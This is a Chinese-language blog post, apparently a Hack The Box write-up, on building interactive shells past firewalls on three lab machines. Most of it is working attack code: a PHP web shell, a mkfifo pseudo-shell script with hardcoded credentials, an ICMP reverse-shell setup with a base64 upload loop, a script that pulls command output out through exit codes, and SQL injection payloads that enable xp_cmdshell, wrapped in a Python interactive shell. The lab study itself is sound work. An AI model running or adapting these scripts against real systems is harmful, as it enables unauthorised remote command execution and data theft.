这篇文章发表于 782 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这里记录了三个非常有意思的shell情形,都是防火墙加高情况下突破的情境。以下环境中,可以认为是只有tcp80端口(也就是网站服务)的流量和ICMP流量能够通行。以下骚操作大部分来自于 ippsec 的视频,无比感谢这位无私的外国大哥。

Linux环境下强化shell

在HTB上遇到了一个利用条件非常差的网站(名为Inception),特此记录。

环境大概是这样的——

网站能上传小马,我先传了一个这玩意,能运行并返回值。

1
2
3
4
<?php
echo '<pre>';
system($_GET['cmd']);
?>

但是像那种蚁剑、冰蝎、菜刀等的流量均会被拦下,而且尝试过直接反弹shell和正向连接shell,均不可行。没有顺手的交互shell,非常棘手。

最终有了办法——将执行后的结果返回到某文件中,再通过shell读取文件——实现方法就是以下一句精髓。

1
mkfifo input;tail -f input|/bin/sh 2>&1 > output

利用这个原理,以下脚本使得体验更加顺滑了一点(代理是为了看得更清楚,可删)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

target='http://10.10.10.67/webdav_test_inception/cmd.php'
payload={'cmd':'rm /var/www/html/webdav_test_inception/input;mkfifo /var/www/html/webdav_test_inception/input;tail -f /var/www/html/webdav_test_inception/input|/bin/sh 2>&1 > /var/www/html/webdav_test_inception/output'}
requests.get(target,params=payload)
proxies = {"http": "http://127.0.0.1:8080"}

def input_to_target(cmd):
string='echo "">output;echo "'+cmd+'">input'
payload1={'cmd':string}
requests.get(target,params=payload1,auth=('webdav_tester','babygurl69'),proxies=proxies)

def output():
target='http://10.10.10.67/webdav_test_inception/cmd.php'
payload2={'cmd':'cat output'}
resq=requests.get(target,params=payload2,auth=('webdav_tester','babygurl69'),proxies=proxies)
return resq.text.strip('<pre>')

while True:
cmd = input ('> ')
try:
input_to_target(cmd)
print(output())
except:
print('error')

虽然解决了很多问题,但是有一个问题比较严重,就是类似于这样的命令。

1
su - cobb

由于要输入密码,而当前交互界面是无法实现www-datacobb用户的转变的,这个命令交互依旧寒碜……

不过还是有办法!!!

利用小马(很奇怪,那个命令行没法echo写文件,可能是echo间存在冲突),

1
?cmd=echo "import pty;pty.spawn('/bin/bash')">w.py

生成了w.py文件在当前的文件夹中。

在之前寒碜的命令行中输入python3 w.py,这个问题也得到了完美解决!然后成功su,成为了cobb用户!

捕获

Windows环境利用ICMP隧道强化shell

在HTB上遇到了一个利用条件非常差的网站(名为Minion),特此记录。

环境大概是这样——

网站文件夹在当前权限下无法上传或是写入任何文件,只能够通过一个能够RCE的网页执行受限的命令,而且返回值是命令运行后的退出码。直接反弹shell和正向连接shell,均会被防火墙拦下。电脑可以运行powershell。

这是需要ICMP隧道的典型时刻,这里的两个project是之后需要用到的。

https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py

https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1

思路上的第一步,需要将Invoke-PowerShellIcmp.ps1文件传入具有写权限的文件夹中。以下脚本可以完成写入。

1
2
3
4
5
6
#!/bin/bash
export IFS=$'\n'
for line in $(cat icmp.b64); do
powershel="echo ${line} >> C:\Temp\shell.ps1"
curl -v -G -X GET 'http://10.10.10.57:62696/test.asp?u=http://127.0.0.1/cmd.aspx' --data-urlencode "xcmd=$powershel"
done

但是很显然,直接传输powershell文件会出现恶心人的结果,因为像+<这些特殊符号可能导致意料之外的报错。除了避免出现外,还可以使用base64编码来完成传输。

思路上的第二步,先对Invoke-PowerShellIcmp.ps1进行base64编码,这里用powershell对其编码,以免出现奇怪的错误。

1
2
3
4
5
6
7
PS /root/HTB/Minion> $shell = Get-Content -Raw ./Invoke-PowerShellIcmp.ps1
PS /root/HTB/Minion> $bytes = [System.Text.Encoding]::Unicode.GetBytes($shell)
PS /root/HTB/Minion> $Encoded = [Convert]::ToBase64String($bytes)
PS /root/HTB/Minion> $Decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Encoded))
PS /root/HTB/Minion> $Encoded | Out-File icmp-shell.ps1.b64

fold -w 120 icmp-shell.ps1.b64 > icmp.b64 //这命令是为了使传输中格式工整

这样编码还不够,因为写马的时候需要对网页进行请求,而这个会请求两次(看bash脚本),因此,我们需要对base64之后产生的=+进行URL编码,之后再进行传输。

思路上的第三步,传输过去之后,由于文件处于一堆base64的状态,因此需要利用powershell进行解码。

1
2
powershell $encoded=Get-Content C:\Temp\shell.ps1;$Decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)); $Decoded | Out-File C:\Temp\shell0.ps1
powershell $encoded=Get-Content C:\Temp\shell.ps1;$Decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded)); $Decoded > C:\Temp\shell0.ps1

最后只要

1
2
sysctl -w net.ipv4.icmp_echo_ignore_all=1   //这条命令在docker里面无法运行,因为需要特权
python icmpsh_m.py {hacker_ip} {victim_ip}

很棒,这样已经成功完成了攻击。在此基础上,有了一些更为简单的脚本,比如下面这两者。

https://github.com/Sayantan5/Minion/blob/master/reverse_icmp.py

https://github.com/Alamot/code-snippets/blob/6b03212bca68e7fae3cd7344eb620eaa350e6604/hacking/HTB/Minion/icmp_alamot.py

没办法,我因为无法令net.ipv4.icmp_echo_ignore_all=1,另外ICMP隧道在获取两个及以上shell的时候会很搞笑,所以以上方法在最后被我弃用了……

但是还有一个方法!就是利用那个会返回退出码的网页,这里主要有两点支持:1、可将执行后的结果返回到某文件中,再通过shell读取文件;2、畸形的退出码可以携带信息。无比感谢 https://reboare.github.io/hackthebox/minion.html 的文章,虽然他的代码存在小小的问题。修改后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import sys
import urllib2

'''
Command Creation
'''
def get_cmd_length(command):
cmd = '$command = (Invoke-Command -ScriptBlock {' + command + '} | Out-String).TrimStart().TrimEnd(); $command | Out-File $env:temp/merror.txt -encoding ASCII ;exit $command.length'
return cmd

def error_exfil(command, output_length):
output_length = int(output_length)
for start in range(0, int(output_length), 4):
if (output_length - start) < 4:
amount_to_fetch = output_length-start
else:
amount_to_fetch = "4"
run_cmd = '$fs = Get-Content $env:temp/merror.txt -Encoding Byte -ReadCount 0; $bytearray = $fs[{0}..{1}]; $hex = [System.BitConverter]::ToString($bytearray) -replace \'-\',\'\';\
echo $hex; exit ([convert]::ToInt32($hex, 16));'.format(start, int(start)+int(amount_to_fetch)-1)
yield run_cmd

def decode_error(errorval):
val = hex(int(errorval))[2:]
if len(val)%2 !=0:
val = '0'+ val
return val.decode('hex')

'''
Command Sending and Receiving
'''
def run_on_minion(command):
url = 'http://10.10.10.57:62696'
base_url = "/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd="
pshell = "powershell -Command \"{0}\"".format(command)
req = requests.get(url+base_url+urllib2.quote(pshell))
#TODO filter this properly
result = req.text
error_code = [x.split('=')[1] for x in result.split('\n') if "Exit Status" in x][0]
return error_code

'''
Main Loop
'''
def main():
while True:
sys.stdin = open('/dev/tty')
cmd = raw_input('PS>')
len_cmd = get_cmd_length(cmd)
length_of_command = run_on_minion(len_cmd)
for torun in error_exfil(cmd, length_of_command):
errorval = run_on_minion(torun)
decodedval = decode_error(errorval)
sys.stdout.write(decodedval)
sys.stdout.flush()
sys.stdout.write('\n')
sys.stdout.flush()

if __name__ == '__main__':
main()

只可惜$lastexitcode格式存在着限制,需要将信息先hex转换然后再一点点取出来,整个过程非常费时,但想法实在是让人拍掌叫绝。

Windows环境利用MSSQL强化shell

在HTB上遇到了一个利用条件非常差的网站(名为Fighter),特此记录。

环境大概是这样——

网站文件夹在当前权限下无法上传或是写入任何文件,只能够通过MSSQL语句命令执行,返回值暂无(只验证了能够ping通)。直接反弹shell和正向连接shell,必须通过是攻击机的80和443端口,否则会被防火墙拦下。电脑可以运行powershell,但是需要提供完整的路径。

以下是带回显的攻击语句。我们不难发现,命令执行的结果没法直接显示,所以将其放入了新建的表中,然后在根据行数来输出表中的结果。思路和上面的两种情况有着异曲同工之妙。

1
2
3
4
username=admin&password=admin&logintype=1%3bCREATE+TABLE+eee+(ID+int+IDENTITY(1,1)+PRIMARY+KEY,output+varchar(1024))&rememberme=ON&B1=LogIn
username=admin&password=admin&logintype=1%3binsert+into+eee+(output)+exec+Xp_CmDShElL+'ipconfig'%3b--+-&rememberme=ON&B1=LogIn
username=admin&password=admin&logintype=1+union+select+1,2,3,4,(select+top+1+ID+from+eee+order+by+ID+desc),6--+-&rememberme=ON&B1=LogIn
username=admin&password=admin&logintype=1%3bTRUNCATE+TABLE+eee%3b&rememberme=ON&B1=LogIn

于是可以完成一个利用的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
from base64 import b64decode
from urllib.parse import unquote

class fighter(object):
def __init__(self,proxies='http://127.0.0.1:8080'):
self.url="http://members.streetfighterclub.htb/old/verify.asp"
#self.proxies={'http':proxies}
self.enableXPShell="1;\
EXEC sp_configure 'show advanced options', 1; \
EXEC sp_configure 'xp_cmdshell', 1; \
RECONFIGURE;-- -"
self.createtable="1; \
CREATE TABLE eee (\
ID int IDENTITY(1,1) PRIMARY KEY, \
output varchar(1024))"
self.truncateTable="1; \
TRUNCATE TABLE eee;"
self.getIndex="1 union select 1,2,3,4,(select top 1 ID from eee order by ID desc),6-- -"
#self.makeRequest(self,self.enableXPShell)
#self.makeRequest(self,self.createTable)

def makeRequest(self,action):
return requests.post(self.url,allow_redirects=False,
data={'username':'admin','password':'admi','logintype':action,
'rememberme':'ON','B1':'LogIn'})

def runCMD(self,cmd):
self.makeRequest(self.truncateTable)
cmd=cmd.replace("'","''")
self.makeRequest(f"1;insert into eee (output) exec Xp_CmDShElL '{cmd}';-- -")
self.Getoutput()

def decodeCookies(self,cookies):
return b64decode(unquote(cookies['Email']))

def Getoutput(self):
r=self.makeRequest(self.getIndex)
count=int(self.decodeCookies(r.cookies))
#print(count)
for x in range(1,count+1):
line=self.makeRequest(f'1 union select 1,2,3,4,(select top 1 output from eee where ID={x}),6-- -')
try:
output=self.decodeCookies(line.cookies)
print(output.decode())
except:
None

o=fighter()
while True:
cmd=input('>SHELL>>')
o.runCMD(cmd)

就这样,我们只需要网站的80端口就能够拥有较为流畅的体验,就像蚁剑的终端一样。